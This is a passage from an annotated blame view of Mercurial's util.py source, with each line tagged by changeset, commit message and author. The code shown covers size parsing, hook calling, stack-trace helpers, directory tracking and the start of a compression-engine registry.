3104 if t.endswith(k): |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3105 return int(float(t[:-len(k)]) * u) |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3106 return int(t) |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3107 except ValueError: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3108 raise error.ParseError(_("couldn't parse size: %s") % s) |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3109 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3110 class hooks(object): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3111 '''A collection of hook functions that can be used to extend a |
26098 | 3112 function's behavior. Hooks are called in lexicographic order, |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3113 based on the names of their sources.''' |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3114 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3115 def __init__(self): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3116 self._hooks = [] |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3117 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3118 def add(self, source, hook): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3119 self._hooks.append((source, hook)) |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3120 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3121 def __call__(self, *args): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3122 self._hooks.sort(key=lambda x: x[0]) |
21046
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3123 results = [] |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3124 for source, hook in self._hooks: |
21046
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3125 results.append(hook(*args)) |
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3126 return results |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3127 |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3128 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0): |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3129 '''Yields lines for a nicely formatted stacktrace. |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3130 Skips the 'skip' last entries, then return the last 'depth' entries. |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3131 Each file+linenumber is formatted according to fileline. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3132 Each line is formatted according to line. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3133 If line is None, it yields: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3134 length of longest filepath+line number, |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3135 filepath+linenumber, |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3136 function |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3137 |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3138 Not be used in production code but very convenient while developing. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3139 ''' |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3140 entries = [(fileline % (fn, ln), func) |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3141 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1] |
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3142 ][-depth:] |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3143 if entries: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3144 fnmax = max(len(entry[0]) for entry in entries) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3145 for fnln, func in entries: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3146 if line is None: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3147 yield (fnmax, fnln, func) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3148 else: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3149 yield line % (fnmax, fnln, func) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3150 |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3151 def debugstacktrace(msg='stacktrace', skip=0, |
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3152 f=stderr, otherf=stdout, depth=0): |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3153 '''Writes a message to f (stderr) with a nicely formatted stacktrace. |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3154 Skips the 'skip' entries closest to the call, then show 'depth' entries. |
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3155 By default it will flush stdout first. |
28496
b592564a803c
util: reword debugstacktrace comment
timeless <timeless@mozdev.org>
parents:
28027
diff
changeset
|
3156 It can be used everywhere and intentionally does not require an ui object. |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3157 Not be used in production code but very convenient while developing. |
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3158 ''' |
20542
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3159 if otherf: |
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3160 otherf.flush() |
31314
7c877cbf30d6
util: strip trailing newline from debugstacktrace message
Mads Kiilerich <madski@unity3d.com>
parents:
31141
diff
changeset
|
3161 f.write('%s at:\n' % msg.rstrip()) |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3162 for line in getstackframes(skip + 1, depth=depth): |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3163 f.write(line) |
20542
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3164 f.flush() |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3165 |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3166 class dirs(object): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3167 '''a multiset of directory names from a dirstate or manifest''' |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3168 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3169 def __init__(self, map, skip=None): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3170 self._dirs = {} |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3171 addpath = self.addpath |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3172 if safehasattr(map, 'iteritems') and skip is not None: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3173 for f, s in map.iteritems(): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3174 if s[0] != skip: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3175 addpath(f) |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3176 else: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3177 for f in map: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3178 addpath(f) |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3179 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3180 def addpath(self, path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3181 dirs = self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3182 for base in finddirs(path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3183 if base in dirs: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3184 dirs[base] += 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3185 return |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3186 dirs[base] = 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3187 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3188 def delpath(self, path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3189 dirs = self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3190 for base in finddirs(path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3191 if dirs[base] > 1: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3192 dirs[base] -= 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3193 return |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3194 del dirs[base] |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3195 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3196 def __iter__(self): |
31430
807387581d89
py3: use iter() instead of iterkeys()
Rishabh Madan <rishabhmadan96@gmail.com>
parents:
31404
diff
changeset
|
3197 return iter(self._dirs) |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3198 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3199 def __contains__(self, d): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3200 return d in self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3201 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3202 if safehasattr(parsers, 'dirs'): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3203 dirs = parsers.dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3204 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3205 def finddirs(path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3206 pos = path.rfind('/') |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3207 while pos != -1: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3208 yield path[:pos] |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3209 pos = path.rfind('/', 0, pos) |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3210 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3211 # compression code |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3212 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3213 SERVERROLE = 'server' |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3214 CLIENTROLE = 'client' |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3215 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3216 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport', |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3217 (u'name', u'serverpriority', |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3218 u'clientpriority')) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3219 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3220 class compressormanager(object): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3221 """Holds registrations of various compression engines. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3222 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3223 This class essentially abstracts the differences between compression |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3224 engines to allow new compression formats to be added easily, possibly from |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3225 extensions. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3226 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3227 Compressors are registered against the global instance by calling its |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3228 ``register()`` method. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3229 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3230 def __init__(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3231 self._engines = {} |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3232 # Bundle spec human name to engine name. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3233 self._bundlenames = {} |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3234 # Internal bundle identifier to engine name. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3235 self._bundletypes = {} |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3236 # Revlog header to engine name. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3237 self._revlogheaders = {} |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3238 # Wire proto identifier to engine name. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3239 self._wiretypes = {} |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3240 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3241 def __getitem__(self, key): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3242 return self._engines[key] |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3243 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3244 def __contains__(self, key): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3245 return key in self._engines |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3246 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3247 def __iter__(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3248 return iter(self._engines.keys()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3249 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3250 def register(self, engine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3251 """Register a compression engine with the manager. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3252 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3253 The argument must be a ``compressionengine`` instance. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3254 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3255 if not isinstance(engine, compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3256 raise ValueError(_('argument must be a compressionengine')) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3257 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3258 name = engine.name() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3259 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3260 if name in self._engines: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3261 raise error.Abort(_('compression engine %s already registered') % |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3262 name) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3263 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3264 bundleinfo = engine.bundletype() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3265 if bundleinfo: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3266 bundlename, bundletype = bundleinfo |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3267 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3268 if bundlename in self._bundlenames: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3269 raise error.Abort(_('bundle name %s already registered') % |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3270 bundlename) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3271 if bundletype in self._bundletypes: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3272 raise error.Abort(_('bundle type %s already registered by %s') % |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3273 (bundletype, self._bundletypes[bundletype])) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3274 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3275 # No external facing name declared. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3276 if bundlename: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3277 self._bundlenames[bundlename] = name |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3278 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3279 self._bundletypes[bundletype] = name |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3280 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3281 wiresupport = engine.wireprotosupport() |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3282 if wiresupport: |
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|
3283 wiretype = wiresupport.name |
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diff
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|
3284 if wiretype in self._wiretypes: |
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util: declare wire protocol support of compression engines
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parents:
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diff
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|
3285 raise error.Abort(_('wire protocol compression %s already ' |
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util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
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|
3286 'registered by %s') % |
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util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
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|
3287 (wiretype, self._wiretypes[wiretype])) |
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
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|
3288 |
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3289 self._wiretypes[wiretype] = name |
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parents:
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diff
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|
3290 |
30798
f50c0db50025
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
3291 revlogheader = engine.revlogheader() |
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util: compression APIs to support revlog decompression
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parents:
30794
diff
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|
3292 if revlogheader and revlogheader in self._revlogheaders: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
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|
3293 raise error.Abort(_('revlog header %s already registered by %s') % |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
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|
3294 (revlogheader, self._revlogheaders[revlogheader])) |
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
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|
3295 |
f50c0db50025
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3296 if revlogheader: |
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util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
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|
3297 self._revlogheaders[revlogheader] = name |
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util: compression APIs to support revlog decompression
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diff
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|
3298 |
30350
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|
3299 self._engines[name] = engine |
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|
3300 |
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util: create new abstraction for compression engines
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diff
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|
3301 @property |
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util: create new abstraction for compression engines
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|
3302 def supportedbundlenames(self): |
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|
3303 return set(self._bundlenames.keys()) |
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|
3304 |
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|
3305 @property |
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util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
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|
3306 def supportedbundletypes(self): |
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|
3307 return set(self._bundletypes.keys()) |
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|
3308 |
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|
3309 def forbundlename(self, bundlename): |
